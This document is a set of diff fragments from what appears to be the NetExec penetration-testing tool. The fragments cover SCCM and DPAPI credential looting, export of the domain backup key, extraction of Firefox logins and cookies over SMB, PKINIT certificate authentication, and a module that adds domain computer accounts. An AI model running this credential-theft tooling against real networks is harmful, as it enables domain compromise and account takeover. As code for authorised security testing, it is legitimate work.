masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
|
||||
if len(masterkeys) == 0:
|
||||
self.connection.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.connection.logger.success("Looting SCCM Credentials")
|
||||
|
||||
def sccm_callback(secret):
|
||||
if isinstance(secret, SCCMCred):
|
||||
tag = "NAA Account"
|
||||
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.username.decode("latin-1"),
|
||||
secret.password.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMSecret):
|
||||
tag = "Task sequences secret"
|
||||
line = f"[{tag}] {secret.secret.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
"N/A",
|
||||
secret.secret.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMCollection):
|
||||
tag = "Collection Variable"
|
||||
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.variable.decode("latin-1"),
|
||||
secret.value.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
try:
|
||||
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
|
||||
sccm_triage.triage_sccm()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting sccm: {e}")
|
||||
|
||||
@property
|
||||
def pvkbytes(self):
|
||||
"""
|
||||
The pvkbytes. If not already initialized, tries to set it
|
||||
The precedence order is the following :
|
||||
- Check the pvk argument
|
||||
- Checks in the DB
|
||||
- Get it from a domain controller
|
||||
"""
|
||||
# pvkbytes already loaded and in cache ? Serve it
|
||||
if self._pvkbytes is not None:
|
||||
return self._pvkbytes
|
||||
|
||||
pvkbytes = None
|
||||
|
||||
# First check the pvk argument and handle it
|
||||
if self.connection.args.pvk is not None:
|
||||
try:
|
||||
with open(self.connection.args.pvk, "rb") as fd:
|
||||
pvkbytes = fd.read()
|
||||
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(str(e))
|
||||
|
||||
# If no pvkbytes yet, then we check in the DB
|
||||
if pvkbytes is None:
|
||||
try:
|
||||
results = self.connection.db.get_domain_backupkey(self.connection.domain)
|
||||
except Exception:
|
||||
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
|
||||
return False
|
||||
if len(results) > 0:
|
||||
self.connection.logger.success("Loading domain backupkey from nxcdb...")
|
||||
pvkbytes = results[0][2]
|
||||
|
||||
# If no pvkbytes yet, then we can try to get it from a domain controller
|
||||
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
|
||||
try:
|
||||
dc_target = SMBTarget.create(
|
||||
domain=self.connection.domain,
|
||||
username=self.connection.username,
|
||||
password=self.connection.password,
|
||||
address=self.connection.kdcHost, # querying DNS server for domain will return DC
|
||||
lmhash=self.connection.lmhash,
|
||||
nthash=self.connection.nthash,
|
||||
do_kerberos=self.connection.kerberos,
|
||||
aesKey=self.connection.aesKey,
|
||||
use_kcache=self.connection.use_kcache,
|
||||
)
|
||||
dc_conn = DPLootSMBConnection(dc_target)
|
||||
dc_conn.connect() # Connect to DC
|
||||
if dc_conn.is_admin():
|
||||
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
pvkbytes = backupkey.backupkey_v2
|
||||
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
|
||||
else:
|
||||
self.connection.no_da = False
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
|
||||
|
||||
self._pvkbytes = pvkbytes
|
||||
return self._pvkbytes
|
||||
@@ -11,9 +11,8 @@ from dataclasses import dataclass
|
||||
from typing import Any
|
||||
from Cryptodome.Cipher import AES, DES3
|
||||
from pyasn1.codec.der import decoder
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.lib.network import DPLootConnection
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
CKA_ID = unhexlify("f8000000000000000000000000000001")
|
||||
|
||||
@@ -61,7 +60,7 @@ class FirefoxTriage:
|
||||
"All Users",
|
||||
)
|
||||
|
||||
def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None):
|
||||
def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
|
||||
self.target = target
|
||||
self.logger = logger
|
||||
self.conn = conn
|
||||
@@ -69,16 +68,13 @@ class FirefoxTriage:
|
||||
self.per_secret_callback = per_secret_callback
|
||||
|
||||
def run(self, gather_cookies=False):
|
||||
if self.conn is None:
|
||||
upgrade_to_dploot_connection(target=self.target)
|
||||
|
||||
firefox_data = []
|
||||
firefox_cookies = []
|
||||
# list users
|
||||
users = self.get_users()
|
||||
users = self.conn.list_users()
|
||||
for user in users:
|
||||
try:
|
||||
directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
|
||||
directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
|
||||
except Exception as e:
|
||||
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
|
||||
continue
|
||||
@@ -89,18 +85,18 @@ class FirefoxTriage:
|
||||
try:
|
||||
if gather_cookies:
|
||||
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
|
||||
cookies_data = self.conn.readFile(self.share, cookies_path)
|
||||
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
|
||||
if cookies_data is not None:
|
||||
firefox_cookies += self.parse_cookie_data(user, cookies_data)
|
||||
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
|
||||
logins_data = self.conn.readFile(self.share, logins_path)
|
||||
logins_data = self.conn.read_file(path=logins_path, share=self.share)
|
||||
if logins_data is None:
|
||||
continue # No logins.json file found
|
||||
logins = self.get_login_data(logins_data=logins_data)
|
||||
if len(logins) == 0:
|
||||
continue # No logins profile found
|
||||
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
|
||||
key4_data = self.conn.readFile(self.share, key4_path)
|
||||
key4_data = self.conn.read_file(path=key4_path, share=self.share)
|
||||
if key4_data is None:
|
||||
continue
|
||||
# Get all available master keys (Firefox 144+ may have multiple keys)
|
||||
@@ -147,7 +143,7 @@ class FirefoxTriage:
|
||||
|
||||
def parse_cookie_data(self, windows_user, cookies_data):
|
||||
cookies = []
|
||||
fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115
|
||||
fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler]
|
||||
fh.write(cookies_data)
|
||||
fh.seek(0)
|
||||
db = sqlite3.connect(fh.name)
|
||||
@@ -192,7 +188,7 @@ class FirefoxTriage:
|
||||
# Instead of disabling "delete" and removing the file manually,
|
||||
# in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution
|
||||
# Related issue: #134
|
||||
fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115
|
||||
fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler]
|
||||
fh.write(key4_data)
|
||||
fh.seek(0)
|
||||
db = sqlite3.connect(fh.name)
|
||||
@@ -216,7 +212,7 @@ class FirefoxTriage:
|
||||
for row in cursor:
|
||||
try:
|
||||
a11 = row[0]
|
||||
a102 = row[1] # noqa: F841
|
||||
a102 = row[1] # ruff: ignore[unused-variable]
|
||||
|
||||
decoded_a11 = decoder.decode(a11)
|
||||
key = self.decrypt_3des(decoded_a11, master_password, global_salt)
|
||||
@@ -252,17 +248,6 @@ class FirefoxTriage:
|
||||
self.logger.debug(e)
|
||||
return "", "", ""
|
||||
|
||||
def get_users(self):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # noqa: PERF401, ignoring for readability
|
||||
return users
|
||||
|
||||
@staticmethod
|
||||
def decode_login_data(data):
|
||||
asn1data = decoder.decode(b64decode(data))
|
||||
@@ -226,6 +226,18 @@ def convert(low, high, lockout=False):
|
||||
return time
|
||||
|
||||
|
||||
def parse_argument(argument: list) -> list:
|
||||
"""Parse input from an argparse argument, which can be either a value or a file containing values."""
|
||||
parsed_items = []
|
||||
for item in argument:
|
||||
if os.path.isfile(item):
|
||||
with open(item) as f:
|
||||
parsed_items.extend(line.strip() for line in f if line.strip())
|
||||
else:
|
||||
parsed_items.append(item.strip())
|
||||
return parsed_items
|
||||
|
||||
|
||||
def display_modules(args, modules):
|
||||
for category, color in {CATEGORY.ENUMERATION: "green", CATEGORY.CREDENTIAL_DUMPING: "cyan", CATEGORY.PRIVILEGE_ESCALATION: "magenta"}.items():
|
||||
# Add category filter for module listing
|
||||
|
||||
@@ -0,0 +1,13 @@
|
||||
from pathlib import PurePosixPath
|
||||
|
||||
|
||||
def sanitize_filename(name: str) -> str:
|
||||
"""Strip path traversal components from an SMB filename.
|
||||
|
||||
Follows the pattern from spider_plus.py — filters '..' and '.' from
|
||||
PurePosixPath.parts to prevent directory traversal attacks from
|
||||
malicious SMB servers.
|
||||
"""
|
||||
parts = PurePosixPath(name.replace("\\", "/")).parts
|
||||
clean = [p for p in parts if p not in ("..", ".", "/")]
|
||||
return str(PurePosixPath(*clean)) if clean else ""
|
||||
+77
-35
@@ -35,15 +35,18 @@ import base64
|
||||
|
||||
from binascii import unhexlify, hexlify
|
||||
|
||||
from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private
|
||||
from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key
|
||||
from cryptography.hazmat.primitives import hashes, serialization
|
||||
from cryptography.hazmat.primitives.asymmetric import padding, rsa
|
||||
from cryptography.hazmat.primitives.serialization import pkcs12
|
||||
from cryptography.x509 import load_pem_x509_certificate, load_der_x509_certificate
|
||||
|
||||
from asn1crypto import cms
|
||||
from asn1crypto import algos
|
||||
from asn1crypto import core
|
||||
from asn1crypto import keys
|
||||
from asn1crypto import x509
|
||||
|
||||
from minikerberos.pkinit import PKINIT, DirtyDH
|
||||
from minikerberos.protocol.dirtydh import DirtyDH
|
||||
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
|
||||
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
|
||||
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
|
||||
@@ -71,12 +74,44 @@ from nxc.paths import NXC_PATH
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
class myPKINIT(PKINIT):
|
||||
def _load_asn1_certificate(data):
|
||||
"""Load a certificate as an asn1crypto object, accepting both PEM and DER input
|
||||
|
||||
The certificate is parsed by cryptography and re-encoded, so that malformed input is
|
||||
rejected here instead of failing later inside asn1crypto, which parses lazily
|
||||
"""
|
||||
cert = load_pem_x509_certificate(data) if b"-----BEGIN" in data else load_der_x509_certificate(data)
|
||||
return _to_asn1_certificate(cert)
|
||||
|
||||
|
||||
def _to_asn1_certificate(cert):
|
||||
"""Convert a cryptography certificate to the asn1crypto object the CMS structures need"""
|
||||
return x509.Certificate.load(cert.public_bytes(serialization.Encoding.DER))
|
||||
|
||||
|
||||
def _check_rsa_privkey(privkey):
|
||||
"""PKINIT signing here is RSA PKCS#1 v1.5 only, so reject anything else early"""
|
||||
if not isinstance(privkey, rsa.RSAPrivateKey):
|
||||
raise Exception(f"PKINIT requires an RSA private key, got {type(privkey).__name__}")
|
||||
return privkey
|
||||
|
||||
|
||||
class myPKINIT:
|
||||
"""
|
||||
Copy of minikerberos PKINIT
|
||||
With some changes where it differs from PKINIT used in NegoEx
|
||||
|
||||
This does not subclass minikerberos.pkinit.PKINIT on purpose: that module imports oscrypto,
|
||||
which fails at import time on any OpenSSL whose version has a two digit component
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.privkey = None
|
||||
self.certificate = None
|
||||
self.issuer = None
|
||||
self.cname = None
|
||||
self.diffie = None
|
||||
|
||||
@staticmethod
|
||||
def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False):
|
||||
with open(pfxfile, "rb") as f:
|
||||
@@ -90,26 +125,17 @@ class myPKINIT(PKINIT):
|
||||
@staticmethod
|
||||
def from_pfx_data(pfxdata, pfxpass, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
# oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead
|
||||
if not pfxpass:
|
||||
from cryptography.hazmat.primitives.serialization import pkcs12
|
||||
from cryptography.hazmat.primitives import serialization
|
||||
privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None)
|
||||
pem_key = privkey.private_bytes(
|
||||
encoding=serialization.Encoding.PEM,
|
||||
format=serialization.PrivateFormat.TraditionalOpenSSL,
|
||||
encryption_algorithm=serialization.NoEncryption(),
|
||||
)
|
||||
pkinit.privkey = load_private_key(parse_private(pem_key))
|
||||
pem_cert = cert.public_bytes(
|
||||
encoding=serialization.Encoding.PEM
|
||||
)
|
||||
pkinit.certificate = parse_certificate(pem_cert)
|
||||
else:
|
||||
if isinstance(pfxpass, str):
|
||||
pfxpass = pfxpass.encode()
|
||||
pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass)
|
||||
pkinit.privkey = load_private_key(pkinit.privkeyinfo)
|
||||
if isinstance(pfxpass, str):
|
||||
pfxpass = pfxpass.encode()
|
||||
# cryptography requires None (not an empty password) for a pfx without password
|
||||
privkey, cert, _ = pkcs12.load_key_and_certificates(pfxdata, pfxpass if pfxpass else None)
|
||||
# a pfx holding only a certificate parses fine, so check the key before the certificate
|
||||
if privkey is None:
|
||||
raise Exception("No private key found in the PFX file")
|
||||
if cert is None:
|
||||
raise Exception("No certificate found in the PFX file")
|
||||
pkinit.privkey = _check_rsa_privkey(privkey)
|
||||
pkinit.certificate = _to_asn1_certificate(cert)
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
@@ -117,9 +143,18 @@ class myPKINIT(PKINIT):
|
||||
def from_pem(certfile, privkeyfile, dh_params=None):
|
||||
pkinit = myPKINIT()
|
||||
with open(certfile, "rb") as f:
|
||||
pkinit.certificate = parse_certificate(f.read())
|
||||
pkinit.certificate = _load_asn1_certificate(f.read())
|
||||
with open(privkeyfile, "rb") as f:
|
||||
pkinit.privkey = load_private_key(parse_private(f.read()))
|
||||
keydata = f.read()
|
||||
try:
|
||||
try:
|
||||
privkey = serialization.load_pem_private_key(keydata, password=None)
|
||||
except ValueError:
|
||||
privkey = serialization.load_der_private_key(keydata, password=None)
|
||||
except TypeError as e:
|
||||
# raised by both loaders when the key is encrypted and no password was given
|
||||
raise Exception(f"Private key {privkeyfile} is password protected, which is not supported. Decrypt it first with: openssl rsa -in {privkeyfile} -out decrypted.pem") from e
|
||||
pkinit.privkey = _check_rsa_privkey(privkey)
|
||||
pkinit.setup(dh_params=dh_params)
|
||||
return pkinit
|
||||
|
||||
@@ -237,7 +272,7 @@ class myPKINIT(PKINIT):
|
||||
cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be.
|
||||
]
|
||||
si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"})
|
||||
si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1")
|
||||
si["signature"] = self.privkey.sign(cms.CMSAttributes(si["signed_attrs"]).dump(), padding.PKCS1v15(), hashes.SHA1())
|
||||
|
||||
ec = {}
|
||||
ec["content_type"] = "1.3.6.1.5.2.3.1"
|
||||
@@ -478,14 +513,21 @@ def pfx_auth(self):
|
||||
self.logger.info("Loading certificate and key from file")
|
||||
|
||||
# Load the certificate and key from file
|
||||
if self.args.pfx_cert or self.args.pfx_base64:
|
||||
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
|
||||
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
|
||||
elif self.args.pem_cert and self.args.pem_key:
|
||||
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
|
||||
else:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
return None
|
||||
try:
|
||||
if self.args.pfx_cert or self.args.pfx_base64:
|
||||
pfx = self.args.pfx_cert if self.args.pfx_cert else self.args.pfx_base64
|
||||
ini = myPKINIT.from_pfx(pfx, self.args.pfx_pass, dhparams, bool(self.args.pfx_base64))
|
||||
elif self.args.pem_cert and self.args.pem_key:
|
||||
ini = myPKINIT.from_pem(self.args.pem_cert, self.args.pem_key, dhparams)
|
||||
else:
|
||||
self.logger.fail("You must either specify a PFX file + optional password or a combination of Cert PEM file and Private key PEM file")
|
||||
return None
|
||||
except FileNotFoundError as e:
|
||||
self.logger.fail(f"Certificate or key file not found: {e.filename}")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to load certificate/key: {e}")
|
||||
return False
|
||||
|
||||
username = self.args.username[0]
|
||||
basename = f"{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache"
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
import contextlib
|
||||
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
|
||||
|
||||
class NXCRPCConnection:
|
||||
"""
|
||||
DCE/RPC over SMB/TCP using the NXC connection's creds; reuse SMB when already
|
||||
logged in so Kerberos delegation (e.g. S4U2Proxy ST) applies to pipe RPC too.
|
||||
"""
|
||||
def __init__(self, connection, force_tcp=False):
|
||||
self.connection = connection
|
||||
self.force_tcp = force_tcp
|
||||
self.dce = None
|
||||
self.rpc_transport = None
|
||||
|
||||
def connect(self, named_pipe, interface_uuid, target_ip=None, auth_level=None, string_binding=None, set_remote_host=None, anonymous_rpc=False):
|
||||
if string_binding is not None:
|
||||
self.rpc_transport = self.create_from_string_binding(string_binding, target_ip, set_remote_host, anonymous_rpc)
|
||||
elif self.force_tcp:
|
||||
self.rpc_transport = self.create_tcp_transport(target_ip, anonymous_rpc)
|
||||
else:
|
||||
self.rpc_transport = self.create_smb_transport(named_pipe, target_ip)
|
||||
|
||||
self.dce = self.rpc_transport.get_dce_rpc()
|
||||
|
||||
if self.connection.kerberos and not anonymous_rpc:
|
||||
self.dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
self.dce.connect()
|
||||
|
||||
if auth_level is not None:
|
||||
self.dce.set_auth_level(auth_level)
|
||||
|
||||
self.dce.bind(interface_uuid)
|
||||
return self.dce
|
||||
|
||||
def disconnect(self):
|
||||
if self.dce:
|
||||
with contextlib.suppress(Exception):
|
||||
self.dce.disconnect()
|
||||
self.dce = None
|
||||
|
||||
@property
|
||||
def transport(self):
|
||||
return self.rpc_transport
|
||||
|
||||
def get_smb_connection(self):
|
||||
if self.rpc_transport and hasattr(self.rpc_transport, "get_smb_connection"):
|
||||
return self.rpc_transport.get_smb_connection()
|
||||
return None
|
||||
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, exc_type, exc_val, exc_tb):
|
||||
self.disconnect()
|
||||
return False
|
||||
|
||||
def setup_credentials(self, rpc_transport, anonymous_rpc=False):
|
||||
conn = self.connection
|
||||
if anonymous_rpc:
|
||||
rpc_transport.set_credentials("", "", "", "", "", "")
|
||||
rpc_transport.set_kerberos(False, None)
|
||||
else:
|
||||
rpc_transport.set_credentials(conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey)
|
||||
if conn.kerberos:
|
||||
rpc_transport.set_kerberos(conn.kerberos, conn.kdcHost)
|
||||
|
||||
def create_smb_transport(self, named_pipe, target_ip=None):
|
||||
conn = self.connection
|
||||
|
||||
# Create a new SMB conn if we don't have one already or
|
||||
# if we are targetting a different IP (e.g. the DC instead of the original host) and therefore need to recreate the conn
|
||||
if conn.conn is not None and (target_ip is None or conn.host == target_ip):
|
||||
return transport.SMBTransport(conn.conn.getRemoteHost(), filename=named_pipe, smb_connection=conn.conn)
|
||||
rpc_transport = transport.SMBTransport(conn.remoteName, conn.port, named_pipe, conn.username, conn.password if conn.password else "", conn.domain, conn.lmhash, conn.nthash, conn.aesKey, doKerberos=conn.kerberos, kdcHost=conn.kdcHost)
|
||||
if target_ip or conn.host:
|
||||
rpc_transport.setRemoteHost(target_ip or conn.host)
|
||||
return rpc_transport
|
||||
|
||||
def create_tcp_transport(self, target_ip=None, anonymous_rpc=False):
|
||||
conn = self.connection
|
||||
target = target_ip or conn.remoteName
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(rf"ncacn_ip_tcp:{target}")
|
||||
rpc_transport.setRemoteHost(target)
|
||||
self.setup_credentials(rpc_transport, anonymous_rpc)
|
||||
return rpc_transport
|
||||
|
||||
def create_from_string_binding(self, string_binding, target_ip=None, set_remote_host=None, anonymous_rpc=False):
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
|
||||
if target_ip is not None:
|
||||
rpc_transport.setRemoteHost(target_ip)
|
||||
elif set_remote_host is not None:
|
||||
rpc_transport.setRemoteHost(set_remote_host)
|
||||
|
||||
self.setup_credentials(rpc_transport, anonymous_rpc)
|
||||
return rpc_transport
|
||||
@@ -4,7 +4,7 @@ import traceback
|
||||
import sys
|
||||
|
||||
from os import listdir
|
||||
from os.path import dirname
|
||||
from os.path import basename, dirname
|
||||
from os.path import join as path_join
|
||||
|
||||
from nxc.context import Context
|
||||
@@ -13,6 +13,10 @@ from nxc.logger import NXCAdapter
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class ModuleOptionsError(Exception):
|
||||
"""Raised when a module aborts the run from options() (returned False)."""
|
||||
|
||||
|
||||
class ModuleLoader:
|
||||
def __init__(self, args, db, logger):
|
||||
self.args = args
|
||||
@@ -40,17 +44,40 @@ class ModuleLoader:
|
||||
elif not hasattr(module, "options"):
|
||||
self.logger.fail(f"{module_path} missing the options function")
|
||||
module_error = True
|
||||
elif not hasattr(module, "on_login") and not (module, "on_admin_login"):
|
||||
elif not hasattr(module, "on_login") and not hasattr(module, "on_admin_login"):
|
||||
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
|
||||
module_error = True
|
||||
|
||||
return not module_error
|
||||
|
||||
module_cache = {}
|
||||
|
||||
@classmethod
|
||||
def load_module_file(cls, module_path):
|
||||
"""Load a module file and return the raw module object with isolated namespace.
|
||||
|
||||
Each module gets a unique name to avoid sys.modules collisions that
|
||||
caused NXCModule class references to be overwritten when loading
|
||||
multiple modules. Results are cached so each file is only parsed
|
||||
and executed once regardless of how many targets are scanned.
|
||||
"""
|
||||
if module_path not in cls.module_cache:
|
||||
module_name = f"nxc_module_{basename(module_path)[:-3]}"
|
||||
spec = importlib.util.spec_from_file_location(module_name, module_path)
|
||||
module = importlib.util.module_from_spec(spec)
|
||||
# Register before executing. Modules that define their own impacket
|
||||
# NDRCALL requests rely on impacket resolving the matching Response
|
||||
# class via sys.modules[request.__module__] (rpcrt.py), which the
|
||||
# previous load_module() satisfied implicitly.
|
||||
sys.modules[module_name] = module
|
||||
spec.loader.exec_module(module)
|
||||
cls.module_cache[module_path] = module
|
||||
return cls.module_cache[module_path]
|
||||
|
||||
def load_module(self, module_path):
|
||||
"""Load a module, initializing it and checking that it has the proper attributes"""
|
||||
try:
|
||||
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
|
||||
module = spec.loader.load_module().NXCModule()
|
||||
module = self.load_module_file(module_path).NXCModule()
|
||||
|
||||
if self.module_is_sane(module, module_path):
|
||||
return module
|
||||
@@ -60,7 +87,6 @@ class ModuleLoader:
|
||||
|
||||
def init_module(self, module_path):
|
||||
"""Initialize a module for execution"""
|
||||
module = None
|
||||
module = self.load_module(module_path)
|
||||
|
||||
if module:
|
||||
@@ -78,7 +104,8 @@ class ModuleLoader:
|
||||
key, value = option.split("=", 1)
|
||||
module_options[str(key).upper()] = value
|
||||
|
||||
module.options(context, module_options)
|
||||
if module.options(context, module_options) is False:
|
||||
raise ModuleOptionsError(f"Module {module.name} aborted the run from options()")
|
||||
return module
|
||||
else:
|
||||
self.logger.fail(f"Module {module.name.upper()} is not supported for protocol {self.args.protocol}")
|
||||
@@ -87,8 +114,7 @@ class ModuleLoader:
|
||||
def get_module_info(self, module_path):
|
||||
"""Get the path, description, and options from a module"""
|
||||
try:
|
||||
spec = importlib.util.spec_from_file_location("NXCModule", module_path)
|
||||
module_spec = spec.loader.load_module().NXCModule
|
||||
module_spec = self.load_module_file(module_path).NXCModule
|
||||
|
||||
module = {
|
||||
f"{module_spec.name}": {
|
||||
|
||||
+2
-1
@@ -181,7 +181,8 @@ class NXCAdapter(logging.LoggerAdapter):
|
||||
|
||||
if not os.path.isfile(output_file):
|
||||
try:
|
||||
open(output_file, "x") # noqa: SIM115
|
||||
with open(output_file, "x"):
|
||||
pass
|
||||
except FileNotFoundError:
|
||||
print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
|
||||
exit(1)
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
import sys
|
||||
|
||||
from impacket.dcerpc.v5 import samr, transport
|
||||
from impacket.dcerpc.v5 import samr
|
||||
from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -16,14 +17,14 @@ class NXCModule:
|
||||
"""
|
||||
|
||||
name = "add-computer"
|
||||
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAPS"
|
||||
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAP"
|
||||
supported_protocols = ["smb", "ldap"]
|
||||
category = CATEGORY.PRIVILEGE_ESCALATION
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
add-computer: Adds, deletes, or changes the password of a domain computer account.
|
||||
Uses SAMR when invoked with nxc smb, LDAPS when invoked with nxc ldap.
|
||||
Uses SAMR when invoked with nxc smb.
|
||||
|
||||
NAME Computer name (required). Trailing '$' is added automatically.
|
||||
PASSWORD Computer password (required for add/changepw).
|
||||
@@ -80,19 +81,14 @@ class NXCModule:
|
||||
self.context.db.add_credential("plaintext", self.connection.domain, self.computer_name, self.computer_password)
|
||||
|
||||
def _do_samr(self):
|
||||
conn = self.connection
|
||||
rpc_transport = transport.SMBTransport(conn.conn.getRemoteHost(), 445, r"\samr", smb_connection=conn.conn)
|
||||
|
||||
try:
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(samr.MSRPC_UUID_SAMR)
|
||||
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
|
||||
except Exception as e:
|
||||
self.context.log.fail(f"Failed to connect to SAMR: {e}")
|
||||
return
|
||||
|
||||
try:
|
||||
self._samr_execute(dce, conn.conn.getRemoteName())
|
||||
self._samr_execute(dce, self.connection.conn.getRemoteName())
|
||||
finally:
|
||||
dce.disconnect()
|
||||
|
||||
@@ -191,7 +187,7 @@ class NXCModule:
|
||||
request["Name"] = self.computer_name
|
||||
request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
|
||||
request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE
|
||||
return dce.request(request)
|
||||
return dce.request(request)["UserHandle"]
|
||||
except samr.DCERPCSessionError as e:
|
||||
if "STATUS_USER_EXISTS" in str(e):
|
||||
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
|
||||
|
||||
+124
-49
@@ -1,11 +1,11 @@
|
||||
import contextlib
|
||||
from time import sleep
|
||||
import re
|
||||
|
||||
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.dcerpc.v5 import transport, rrp
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from nxc.helpers.misc import CATEGORY, gen_random_string
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -17,9 +17,12 @@ class NXCModule:
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.domain_admin = None
|
||||
self.domain_admin_hash = None
|
||||
